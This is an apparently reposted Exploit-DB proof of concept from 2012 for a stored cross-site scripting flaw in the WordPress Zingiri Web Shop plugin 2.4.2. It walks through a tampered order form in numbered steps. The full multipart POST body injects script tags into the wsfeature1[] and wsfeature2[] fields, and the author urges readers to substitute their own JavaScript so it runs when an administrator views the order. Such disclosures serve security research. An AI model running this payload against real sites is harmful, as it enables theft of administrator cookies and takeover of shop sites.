Exploit WordPress Plugin Zingiri Web Shop 2.4.2 - Persistent Cross-Site Scripting

[Exploiter]

EDB-ID

18806

Проверка EDB

1. Пройдено

Автор

MEHMET INCE

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

null

Дата публикации

2012-05-01

##############################################################################
# Wordpress Zingiri Web Shop Plugin <= 2.4.2 Stored XSS
# Exploit Title: Wordpress Zingiri Web Shop Plugin <= 2.4.0 Stored XSS
# Google Dork:
# Date: 30 Apr 2012
# Author: Mehmet Ince
# Twitter: https://twitter.com/#!/mmetince
# Company: Bilgi Guvenligi Akademisi ( www.bga.com.tr )
#
# Software Link: 
# http://downloads.wordpress.org/plugin/zingiri-web-shop.2.4.2.zip
# Version: 2.4.2
# Tested on: ubuntu 11.10 with apache server on the Firefox browser.
##############################################################################

Few days ago i discovered two XSS vulnerabilities at Zingiri wp-plugin.
After that script version updated 2.4.2 and bug fixed.
When i realized that i checked the lastest script to learn, "what did they
for securing code ?"
http://www.exploit-db.com/exploits/18787/


i saw aphpsSanitize() method at  vulnerable section. aphpsSanitize() pretty
cool for preventing XSS.

But what a luck, i discovered something else.
Now, time to explain our new bug. That's almost same with my oldest but
more complicated.


step 1: Login to wordpress.

step 2: Go to "Shop" menu. It's should be stay at banner.

step 3: Than you'll see list ot items. Click one "t-shirt" item.

step 4.1: Star Firefox's extension "Tamper Data"
step 4: You can pass that form action. That wont be problem..! Click to
"Order" button.

-----------------------------16079283545224173541938629871\r\nContent-Disposition:
form-data;
name="prodid"\r\n\r\n1\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition:
form-data;
name="prodprice"\r\n\r\n35.95\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition:
form-data;
name="featuresets"\r\n\r\n1\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition:
form-data;
name="wsfeature1[]"\r\n\r\n"><script>alert(document.cookie)</script>\r\n\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition:
form-data;
name="wsfeature2[]"\r\n\r\n\"><script>alert(document.cookie)</script>\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition:
form-data;
name="numprod[]"\r\n\r\n1\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition:
form-data;
name="sub"\r\n\r\nOrder\r\n-----------------------------16079283545224173541938629871--\r\n

write your javascript payload to wsfeature1[] and wsfeature2[] variable.

step 4.2: After you send POST request. you'll see some pop-ups. click ok
and go

step 5: There is confirmation about the Shopping. Click "checkout" to pass
that page.

step 6: Click to "Checkout"

step 7: When administrator open your order details. Your javascript
payload'll come from database and execute on the administrator side.
But victem have to click detail of your order. Like that "WEB20128-08".